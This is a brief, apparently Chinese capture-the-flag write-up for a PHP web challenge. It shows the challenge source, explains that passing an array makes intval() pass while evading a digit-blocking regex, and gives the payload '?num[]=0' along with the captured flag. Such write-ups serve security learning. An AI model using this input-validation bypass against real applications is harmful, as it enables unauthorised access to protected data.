
webeasyweb1123456789101112131415 <?phperror_reporting(0);highlight_file(__FILE__);$flag = getenv("GZCTF_FLAG");if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("You are failed."); } if(intval($num)){ echo $flag; }}
利用intval()的性质,用数组绕过。构造payload
1?num[]=0
hubuctf{80446bef-905a-4f87-94b8-c01e573ab311}
easyweb21234567891011121314<?phperror_reporting ...









